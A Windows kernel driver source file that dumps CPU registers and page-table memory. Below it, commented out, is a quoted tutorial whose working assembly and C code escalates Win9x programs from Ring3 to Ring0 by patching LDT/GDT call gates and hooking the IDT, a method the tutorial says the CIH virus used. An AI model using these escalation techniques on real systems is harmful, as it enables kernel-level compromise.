//#include <NTDDK.h>
#include <ifs/wnet/ntifs.h>
//#include <wdm.h>

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject);
NTSTATUS DriverEntry (
    IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING pRegistryPath	);
	
#pragma alloc_text(init, DriverEntry)
#pragma alloc_text(page, DriverUnload)

#ifndef _DWORD_DEFINED
#define _DWORD_DEFINED
typedef unsigned long DWORD;
#endif // !_DWORD_DEFINED

#ifndef _WORD_DEFINED
#define _WORD_DEFINED
typedef unsigned short WORD;
#endif // !_WORD_DEFINED

#ifndef _BYTE_DEFINED
#define _BYTE_DEFINED
typedef char BYTE;
#endif // !_BYTE_DEFINED


static 	PDEVICE_OBJECT dev_obj = NULL;

VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
	if (dev_obj)
	{
		IoDeleteDevice(dev_obj);
		dev_obj = NULL;
	}
	KdPrint(("memory : %s \n", __FUNCTION__));	
}

static NTSTATUS ignore(IN struct _DEVICE_OBJECT *DeviceObject, IN struct _IRP *Irp)
{
	PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(Irp);

	KdPrint(("%s type = %d, UserBuffer = %p\n", __FUNCTION__, Irp->Type, Irp->UserBuffer));		
	KdPrint(("%s[%d][%d] control[%d] DeviceObject = %p, FileObject = %p\n", __FUNCTION__,
			pIrpStack->MajorFunction, pIrpStack->MinorFunction, pIrpStack->Control,
			pIrpStack->DeviceObject, pIrpStack->FileObject));			

	IoCompleteRequest(Irp, IO_NO_INCREMENT);	
	return STATUS_SUCCESS;
}

//#define PAGE_SHIFT			12
//#define PAGE_SIZE			((unsigned long)1<<PAGE_SHIFT)

			/* number of bits that fit into a memory pointer */
#define BITS_PER_PTR			(8*sizeof(unsigned long))
			/* to mask away the intra-page address bits */
#define PAGE_MASK			(~(PAGE_SIZE-1))
			/* to align the pointer to the (next) page boundary */
//#define PAGE_ALIGN(addr)		(((addr)+PAGE_SIZE-1)&PAGE_MASK)
			/* to align the pointer to a pointer address */
#define PTR_MASK			(~(sizeof(void*)-1))
#define SIZEOF_PTR_LOG2			2
#define PAGE_DIR_OFFSET(base,address)	((unsigned long*)((base)+\
  ((unsigned long)(address)>>(PAGE_SHIFT-SIZEOF_PTR_LOG2)*2&PTR_MASK&~PAGE_MASK)))

#pragma pack(1)
typedef struct
{
    WORD limite;
	DWORD base;
} FPWORD; // GDTR and IDTR format

typedef struct
{
	WORD limit_l;
	WORD base_l;
	BYTE base_m;
	BYTE access;
	BYTE limit_h;
	BYTE base_h;
} Descriptor; // generic segment descriptor format

typedef struct
{
	WORD desp_l;
	WORD sel;
	BYTE tipo_l;
	BYTE tipo_h;
	BYTE desp_h;
} Idt_Descriptor; // idt descriptor format

typedef struct
{
	WORD offs_l;
	WORD sel;
	WORD attrib;
	WORD offs_h;
} Comp; 
#pragma pack()

void test1()
{
	FPWORD gdt;                            //Base of GDT
	Descriptor *gdtdesc;
	WORD a;
	__asm  sgdt  gdt;              //get the addres of GDT

	KdPrint(("%s gdt::base[%x]  gdt::limit[%hx]\n", 
			__FUNCTION__, gdt.base, gdt.limite));		
	
	gdtdesc = (Descriptor *)gdt.base;
	for(a=0;a<(gdt.limite>>3);a++)
	{
		gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
		KdPrint(("%s %d: gdtdesc->limit_l[%hx] gdtdesc->base_l[%hx] gdtdesc->base_m[%x]\n", 
				__FUNCTION__, a, gdtdesc->limit_l, gdtdesc->base_l, gdtdesc->base_m));		
	}
}

static NTSTATUS memory_read(IN struct _DEVICE_OBJECT *DeviceObject, IN struct _IRP *Irp)
{
	PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(Irp);
	unsigned short testcs;
	unsigned short testss;
	unsigned short testds;
	unsigned short testes;
	unsigned short testfs;
	unsigned short testgs;
	unsigned long testgdt = -1, testidt = -1;
	unsigned long buf[32];
	unsigned long *p;
	unsigned long testcr0, testcr2, testcr3, testcr4;
	unsigned long pte;
	int i;
	PHYSICAL_ADDRESS phy_addr;
	PVOID vir_addr;	
	
	__asm{
		mov testcs, cs;
		mov testss, ss;
		mov testds, ds;
		mov testes, es;
		mov testfs, fs;
		mov testgs, gs;
		sgdt [testgdt];
		sidt [testidt];
		mov eax, cr0;
		mov testcr0, eax;
		mov eax, cr2;
		mov testcr2, eax;
		mov eax, cr3;
		mov testcr3, eax;
//		mov eax, cr4;
//		mov testcr4, eax;		
	};

//	test1();
//	pte = *PAGE_DIR_OFFSET(testcr3 & 0xfff, 0x1000);

//	RtlMoveMemory((void *)buf, (void *)testgdt, 32 * 4);
	KdPrint(("%s cr0[%x] cr2[%x] cr3[%x]\n", 
			__FUNCTION__, testcr0, testcr2, testcr3));

/*
	p = (void *)(testcr3 & ~0x1f);
	p = (void *)memory_read;
	p = (void *)((ULONG)p & ~0x1f);
	phy_addr = MmGetPhysicalAddress(p);
	KdPrint(("%s value = %x, vir = %p, phy = %x:%x\n", __FUNCTION__, *(ULONG *)p, p, phy_addr.u.HighPart, phy_addr.u.LowPart));
	vir_addr = MmGetVirtualForPhysical (phy_addr);	
	KdPrint(("%s value = %x, vir = %p, phy = %x:%x\n", __FUNCTION__, *(ULONG *)vir_addr, vir_addr, phy_addr.u.HighPart, phy_addr.u.LowPart));
*/
	

	phy_addr.u.HighPart = 0;
	phy_addr.u.LowPart = (testcr3 & ~0x1f);

	vir_addr = MmMapIoSpace(phy_addr, 32, MmNonCached);
	
//	vir_addr = MmGetVirtualForPhysical (phy_addr);
	KdPrint(("%s : vir = %p, phy = %x:%x\n", __FUNCTION__, *(ULONG *)vir_addr, vir_addr, phy_addr.u.HighPart, phy_addr.u.LowPart));
	KdPrint(("%s : value = %x\n", __FUNCTION__, *(ULONG *)vir_addr));
	
/*
	phy_addr = MmGetPhysicalAddress(&p);
	KdPrint(("%s value = %x, vir = %p, phy = %x:%x\n", __FUNCTION__, p, &p, phy_addr.u.HighPart, phy_addr.u.LowPart));
	vir_addr = MmGetVirtualForPhysical (phy_addr);	
	KdPrint(("%s value = %x, vir = %p, phy = %x:%x\n", __FUNCTION__, *(ULONG *)vir_addr, vir_addr, phy_addr.u.HighPart, phy_addr.u.LowPart));
*/	
//	KdPrint(("%s p[%x] = %x\n", __FUNCTION__, p, *p));
/*
	KdPrint(("%s cs[%hx] ss[%hx] ds[%hx] es[%hx] fs[%hx] gs[%hx]\n", 
			__FUNCTION__, testcs, testcs, testss, testds, testes, testfs, testgs));
	KdPrint(("%s gdt[%x] idt[%x]\n",
			__FUNCTION__, testgdt, testidt));
*/
//	p = (void *)testidt;
//	KdPrint(("%s p[%x] = %x\n", __FUNCTION__, p, p[0]));

/*
	for (i = 0; i < 32; ++i)
	{
		KdPrint(("%s buf[%d] = %x\n", __FUNCTION__, i, buf[i]));		
	}
*/
/*
	KdPrint(("%s type = %d, UserBuffer = %p\n", __FUNCTION__, Irp->Type, Irp->UserBuffer));
	KdPrint(("%s[%d][%d] control[%d] DeviceObject = %p, FileObject = %p\n", __FUNCTION__,
			pIrpStack->MajorFunction, pIrpStack->MinorFunction, pIrpStack->Control,
			pIrpStack->DeviceObject, pIrpStack->FileObject));			
*/
	if (Irp->UserBuffer)
	{
//		KdPrint(("%s type = %d, UserBuffer[%p] = %s\n",
//				__FUNCTION__, Irp->Type, Irp->UserBuffer, Irp->UserBuffer));
		memcpy(Irp->UserBuffer, __FUNCTION__, strlen(__FUNCTION__) + 1);
	}
	IoCompleteRequest(Irp, IO_NO_INCREMENT);	
	return STATUS_SUCCESS;
}

static NTSTATUS memory_write(IN struct _DEVICE_OBJECT *DeviceObject, IN struct _IRP *Irp)
{
	PIO_STACK_LOCATION pIrpStack = IoGetCurrentIrpStackLocation(Irp);	

	if (Irp->UserBuffer)
	{
		KdPrint(("%s type = %d, UserBuffer[%p] = %s\n",
				__FUNCTION__, Irp->Type, Irp->UserBuffer, Irp->UserBuffer));
	}
	KdPrint(("%s[%d][%d] control[%d] DeviceObject = %p, FileObject = %p\n", __FUNCTION__,
			pIrpStack->MajorFunction, pIrpStack->MinorFunction, pIrpStack->Control,
			pIrpStack->DeviceObject, pIrpStack->FileObject));			

	IoCompleteRequest(Irp, IO_NO_INCREMENT);	
	return STATUS_SUCCESS;
}


NTSTATUS DriverEntry (
    IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING pRegistryPath	)
{
	NTSTATUS ret;
	UNICODE_STRING name, link_name;
	char *p;

	KdPrint(("memory : %s \n", __FUNCTION__));
	pDriverObject->DriverUnload = DriverUnload;

	KdPrint(("driverentry at %p, driverunload at %p\n", DriverEntry, DriverUnload));
	p = (char *)DriverUnload;
	KdPrint(("driverunload [%02X][%02X][%02X][%02x][%02x][%02x][%02x][%02x]\n",
			p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7]));

	p = (char *)DriverEntry;
	KdPrint(("driverentry [%02x][%02x][%02x][%02x][%02x][%02x][%02x][%02x]\n",
			p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7]));	
	

	pDriverObject->MajorFunction[IRP_MJ_CREATE] = ignore;
	pDriverObject->MajorFunction[IRP_MJ_CREATE_NAMED_PIPE] = ignore;
	pDriverObject->MajorFunction[IRP_MJ_CREATE_MAILSLOT] = ignore;
	pDriverObject->MajorFunction[IRP_MJ_READ] = memory_read;
	pDriverObject->MajorFunction[IRP_MJ_WRITE] = memory_write;
	
	RtlInitUnicodeString(&name, L"\\FileSystem\\testmemory");
	ret = IoCreateDevice(pDriverObject, 0, &name, FILE_DEVICE_UNKNOWN, 0, FALSE, &dev_obj);
	if (ret != STATUS_SUCCESS) {
		KdPrint(("memory : %s : IoCreateDevice fail[0x%x]\n", __FUNCTION__, ret));
		return STATUS_SUCCESS;	
	}

	RtlInitUnicodeString(&link_name, L"\\??\\testmemory_link");
	IoDeleteSymbolicLink(&link_name);
	ret = IoCreateSymbolicLink(&link_name, &name);
	if (ret != STATUS_SUCCESS) {
		KdPrint(("memory : %s : IoCreateSymbolicLink fail[0x%x]\n", __FUNCTION__, ret));
		return STATUS_SUCCESS;	
	}
	
	SetFlag(dev_obj->Flags, DO_BUFFERED_IO );
	SetFlag(dev_obj->Characteristics, FILE_DEVICE_SECURE_OPEN );
    ClearFlag(dev_obj->Flags, DO_DEVICE_INITIALIZING);

	return STATUS_SUCCESS;
}


#if 0

QUOTE  
RING0
------

The processor  has four  privileges levels: Ring0, Ring1, Ring2, Ring3
Normal programmes run in Ring3. Ring3 has a lot of restrictions e.g.
we can't read debugg registers and then intructions with debugg
register dont work (e.g. mov eax, dr7).
For us is good have more privileges and thefore we need Ring0. But there
is problem, just some special programmes have Ring0 privileges. Device
drivers run in Ring0, but code device driver isn't simple.
Fortunately Windows has a lot holes, especially Win9x. There are some
ways for switch program from Ring3 to Ring0. These methods use
a lot viruses but we need it for good objects.
These methods work only on Win9x. They worked on WinNT, but these holes
were fill, because they used hackers for attacks. We can test
version of Windows and if it is Win9x we will use them. If you need
use Ring0 on WinNT or Win2k, you must code device driver for this OS.
But user must has admin privileges for installation your program.
There is way for switch Ring3 to Ring0 too. But it is work only
with admin privileges. This maybe good for normal users, because
viruses have harder conditions, but for us it isn't very good. But
we cant change Windows, we must conform and try find new ways
all the time.


Switch to Ring0 by LDT (Locale Descriptor Table):
-------------------------------------------------

The oldest method which is little used. This isn't the best way, but it is
better than the IDT method, because no a lot people know it.


Example:

=============================================================================
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc

Extrn SetUnhandledExceptionFilter : PROC

.data

msg1            db "Switch to Ring0 by LDT",0
msg2            db "Ring0 activated",0

gdt_            df 0
call_          dd 00
                dw 0Fh
o_gate          dw 0
                dw 028h            ;segment for RING0
                dw 0EC00h
                dw 0
.code

Start:

                mov  eax, offset ring0
                                  ;our Ring0 routine

                mov  [o_gate],ax  ;set address of our new Ring0 service to our "callgate"
                shr  eax,16
                mov  [o_gate+6],ax

                xor  eax, eax
                sgdt fword ptr gdt_
                                  ;save GDT
                mov  ebx,dword ptr [gdt_+2]
                                  ;GDT base address
                sldt ax
                add  ebx,eax      ;discriptor address

                mov  al,[ebx+4]
                mov  ah,[ebx+7]
                shl  eax,16        ;LDT address

                mov  ax,[ebx+2]    ;callgate's discriptor address

                add  eax,8
                mov  edi,eax      ;set in callgate for changes
                mov  esi,offset o_gate
                                  ;our "callgate" address
                movsd              ;move it to real callgate
                movsd              ;for jump to Ring0

                call fword ptr [call_]
                                  ;jump to Ring0 to our Ring0 service

                xor  eax, eax
                sub  edi,8        ;delete our changes in callgate
                stosd
                stosd


                call MessageBoxA,0, offset msg2, offset msg1,0

                call ExitProcess, -1


;----------------------------------------------------------
;Our new Ring0 service
;----------------------------------------------------------

ring0:
                mov eax, dr7      ;test for Ring0

                retf              ;back to RING3

ends
end Start
=============================================================================


I found on Internet next example by SoPinKy which is like to previous but
it is in C language.

Example:

=============================================================================

Main.CPP
------------------------------------CUT--------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"


//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
    {
          int 20h                      //get current vm
        _emit 0x01                    //Function ID
            _emit 0x00
        _emit VMM_ID                  //VXD ID
            _emit 0x00
                                        //in ebx i have the handle
                                        //of virtual machine
    }

RetCallback;
};

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
                                  PSTR lpCmdLine,int nCmdShow)
    {
        MSG msg ;
        DWORD a;
        int x;
        __asm pusha
        InitDirectH();
        CallRing0((unsigned int)Ring0Proc);
                __asm popa
        return 0;
    }

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h
------------------------------------CUT--------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h

#include "VMMStruct.h"
                                        //Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3;          //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0;              //State of ring 0 register

Comp *Callb,Callbcpy;                  //a callbacks

                                        //to return of ring 0
#define RetCallback  \
    _asm sti      \
    _asm pop edi  \
    _asm pop esi  \
    _asm pop ebx  \
    _asm leave    \
    _asm retf;

InitDirectH()
{
FPWORD gdt;                            //Base of GDT
Descriptor *gdtdesc;
word a;
        __asm  sgdt  gdt;              //get the addres of GDT
        gdtdesc=(Descriptor *)gdt.base;

        __asm  //Save the ring 3 Segments selectors
        {
                mov cs3,cs
                mov ds3,ds
                mov es3,es
                mov sp3,sp
                mov fs3,fs
                mov gs3,gs
                mov esp3,esp
        }

                                        //Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
  gdtdesc->base_l==0x0000  &&
  gdtdesc->base_m==0x00    &&
  gdtdesc->access==0x9b    &&
  gdtdesc->limit_h== 0xcf  &&
  gdtdesc->base_h==0x00)break;


}
cs0=a<<3;

                                        //Serch for the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
        if(gdtdesc->limit_l==0xffff &&
        gdtdesc->base_l==0x0000  &&
        gdtdesc->base_m==0x00    &&
        gdtdesc->access==0x93    &&
        gdtdesc->limit_h== 0xcf  &&
        gdtdesc->base_h==0x00)break;
        }
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}

                                        //Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;

        __asm  sgdt  gdt;
        gdtdesc=(Descriptor *)(gdt.base+8);
        Callb=(Comp *)(gdt.base+8);

        Callbcpy.sel=Callb->sel;      //make a copy
        Callbcpy.attrib=Callb->attrib;
        Callbcpy.offs_l=Callb->offs_l;
        Callbcpy.offs_h=Callb->offs_h;

        Callb->sel=cs0;
        Callb->attrib=0xec00;;

__asm
        {
        mov eax,PUNTERO
        mov l,ax
        shr eax,16
        mov h,ax
    }
        Callb->offs_l=l;
        Callb->offs_h=h;
__asm {
          push ds
                  push es
                  push gs
                  push fs
      }                                //save the ring 3 segment selectors


    __asm                              //Call the CALL GATE!!!!
        {
    cli
        call FWORD PTR salto
        }
                                        //restore de segment selectors in ring 3
        __asm
        {
          cli
          pop fs
          pop gs
          pop es
          pop ds
    sti
        }
return;
}


InitRing0()
{
        FPWORD gdt;
        Comp *Callb;

        __asm  sgdt  gdt;
        __asm  cli
        Callb=(Comp *)(gdt.base+8);
        Callb->sel=Callbcpy.sel;
        Callb->attrib=Callbcpy.attrib;
        Callb->offs_l=Callbcpy.offs_l;
        Callb->offs_h=Callbcpy.offs_h;
        __asm
        {
        mov ds,ds0
        mov es,es0
        mov fs,fs0
        mov gs,gs0
        sti

                                        //int 3h
        int 20h
        _emit 0x08                    //get the thead handle
        _emit 0x01
        _emit VMM_ID
        _emit 0x00
          mov TR,edi
        int 20h
        _emit 0x01                    //get current vm
        _emit 0x00
        _emit VMM_ID
        _emit 0x00
          mov  VM,ebx                  //current VM handle, osea de sistema
        sti
        }
}
#endif

------------------------------------CUT--------------------------------------
VMMStruct.h
------------------------------------CUT--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h

                                        //definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version  0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID  0x0002A
#define SHELL_ID  0x00017
#define word  unsigned short
#define dword unsigned int
#define DWORD  unsigned int
#define WORD  unsigned short
#define byte  unsigned char
#define BYTE  unsigned char

                                        //Structs
#pragma pack(1)
typedef struct
{
    word  limite;
        dword base;
}FPWORD;

typedef struct
{
        dword offset32;
        word  seg;
}FARJMP;

                                        //struct of descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;

typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;

                                        //compuertas del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;

                                        //Description Block
typedef struct  {
    ULONG DDB_Next;                    /* VMM RESERVED FIELD */
    USHORT DDB_SDK_Version;            /* INIT <DDK_VERSION> RESERVED FIELD */
    USHORT DDB_Req_Device_Number;      /* INIT <UNDEFINED_DEVICE_ID> */
    UCHAR DDB_Dev_Major_Version;        /* INIT <0> Major device number */
    UCHAR DDB_Dev_Minor_Version;        /* INIT <0> Minor device number */
    USHORT DDB_Flags;                  /* INIT <0> for init calls complete */
    UCHAR DDB_Name[8];                  /* AINIT <"        "> Device name */
    ULONG DDB_Init_Order;              /* INIT <UNDEFINED_INIT_ORDER> */
    ULONG DDB_Control_Proc;            /* Offset of control procedure */
    ULONG DDB_V86_API_Proc;            /* INIT <0> Offset of API procedure */
    ULONG DDB_PM_API_Proc;              /* INIT <0> Offset of API procedure */
    ULONG DDB_V86_API_CSIP;            /* INIT <0> CS:IP of API entry point */
    ULONG DDB_PM_API_CSIP;              /* INIT <0> CS:IP of API entry point */
    ULONG DDB_Reference_Data;          /* Reference data from real mode */
    ULONG DDB_Service_Table_Ptr;        /* INIT <0> Pointer to service table */
    ULONG DDB_Service_Table_Size;      /* INIT <0> Number of services */
    ULONG DDB_Win32_Service_Table;      /* INIT <0> Pointer to Win32 services */
    ULONG DDB_Prev;                    /* INIT <'Prev'> Ptr to prev 4.0 DDB */
    ULONG DDB_Size;                    /* INIT <SIZE(VxD_Desc_Block)> Reserved */
    ULONG DDB_Reserved1;                /* INIT <'Rsv1'> Reserved */
    ULONG DDB_Reserved2;                /* INIT <'Rsv2'> Reserved */
    ULONG DDB_Reserved3;                /* INIT <'Rsv3'> Reserved */
}Desc_Block;


                                        //Control block
typedef struct  {
    ULONG Client_EDI;                  /* Client's EDI */
    ULONG Client_ESI;                  /* Client's ESI */
    ULONG Client_EBP;                  /* Client's EBP */
    ULONG Client_res0;                  /* ESP at pushall */
    ULONG Client_EBX;                  /* Client's EBX */
    ULONG Client_EDX;                  /* Client's EDX */
    ULONG Client_ECX;                  /* Client's ECX */
    ULONG Client_EAX;                  /* Client's EAX */
    ULONG Client_Error;                /* Dword error code */
    ULONG Client_EIP;                  /* EIP */
    USHORT Client_CS;                  /* CS */
    USHORT Client_res1;                /*  (padding) */
    ULONG Client_EFlags;                /* EFLAGS */
    ULONG Client_ESP;                  /* ESP */
    USHORT Client_SS;                  /* SS */
    USHORT Client_res2;                /*  (padding) */
    USHORT Client_ES;                  /* ES */
    USHORT Client_res3;                /*  (padding) */
    USHORT Client_DS;                  /* DS */
    USHORT Client_res4;                /*  (padding) */
    USHORT Client_FS;                  /* FS */
    USHORT Client_res5;                /*  (padding) */
    USHORT Client_GS;                  /* GS */
    USHORT Client_res6;                /*  (padding) */
    ULONG Client_Alt_EIP;
    USHORT Client_Alt_CS;
    USHORT Client_res7;
    ULONG Client_Alt_EFlags;
    ULONG Client_Alt_ESP;
    USHORT Client_Alt_SS;
    USHORT Client_res8;
    USHORT Client_Alt_ES;
    USHORT Client_res9;
    USHORT Client_Alt_DS;
    USHORT Client_res10;
    USHORT Client_Alt_FS;
    USHORT Client_res11;
    USHORT Client_Alt_GS;
    USHORT Client_res12;
}Client_Reg_Struc;

typedef struct Thread_Control_Block {
    ULONG  TCB_Flags;                  /* Thread status flags */
    ULONG  TCB_Reserved1;              /* Used internally by VMM */
    ULONG  TCB_Reserved2;              /* Used internally by VMM */
    ULONG  TCB_Signature;
    ULONG  TCB_ClientPtr;              /* Client registers of thread */
    ULONG  TCB_VMHandle;              /* VM that thread is part of */
    USHORT  TCB_ThreadId;              /* Unique Thread ID */
    USHORT  TCB_PMLockOrigSS;          /* Original SS:ESP before lock stack */
    ULONG  TCB_PMLockOrigESP;
    ULONG  TCB_PMLockOrigEIP;          /* Original CS:EIP before lock stack */
    ULONG  TCB_PMLockStackCount;
    USHORT  TCB_PMLockOrigCS;
    USHORT  TCB_PMPSPSelector;
    ULONG  TCB_ThreadType;            /* dword passed to VMMCreateThread */
    USHORT  TCB_pad1;                  /* reusable; for dword align */
    UCHAR  TCB_pad2;                  /* reusable; for dword align */
    UCHAR  TCB_extErrLocus;            /* extended error Locus */
    USHORT  TCB_extErr;                /* extended error Code */
    UCHAR  TCB_extErrAction;          /*      "  "  Action */
    UCHAR  TCB_extErrClass;            /*      "  "  Class */
    ULONG  TCB_extErrPtr;              /*      "  pointer */
}Thread_Control_Block;

typedef struct
{
DWORD CB_VM_Status      ;
DWORD CB_High_Linear    ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID          ;
DWORD CB_Signature      ;
}Control_Block;
#endif
------------------------------------CUT--------------------------------------


=============================================================================


I think Assembler example is better for read than this C example.


Switch to Ring0 by IDT (Interupt Descriptor Table) aka EliCZ's method:
-------------------------------------------------

Next method is the best know. I saw it firts when used it my
friend EliCZ. After some days there was CIH virus which used
this method.
Most of programms which use Ring0 switching, use this method.
Some of anti-anti-debugg cracker's tools can detect it (Frog-Ice,
IceDump).


Example:

=============================================================================
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc


Extrn SetUnhandledExceptionFilter : PROC

Interrupt      equ 5              ;interrupt number which we will use
                                  ;if you use Int 1h or 3h, it will be
                                  ;more harder debugg your program
.DATA

msg1            db "Switch to Ring0 by IDT",0
msg2            db "Ring0 activated",0


.CODE
Start:

                push edx
                sidt [esp-2]      ;read IDT to stack
                pop  edx          ;address of Interrupt table
                add  edx,(Interrupt*8)+4
                                  ;Interrupt table base+Int number+size for
                                  ;Int in Interrupt table=Int vector address
                mov  ebx,[edx]
                mov  bx,word ptr [edx-4]
                                  ;read old address our interrupt (INT 5h)

                lea  edi,InterruptHandler
                mov  [edx-4],di
                ror  edi,16        ;set our new interrupt handler
                mov  [edx+2],di

                push ds            ;save registers
                push es


                int  Interrupt    ;jump to Ring0 (our int 5h handler)

                pop  es            ;restore registers
                pop  ds


                mov  [edx-4],bx    ;set old int 5h handler
                ror  ebx,16
                mov  [edx+2],bx

                call MessageBoxA,0, offset msg2, offset msg1,0
                call ExitProcess, -1



;-----------------------------------------------------------------------------
;OUR NEW INT 5h HANDLER (it run in Ring0)
;-----------------------------------------------------------------------------

InterruptHandler:

                mov  eax,dr7      ;test for Ring0
                iretd              ;jump back to Ring3



ends
end Start

#endif

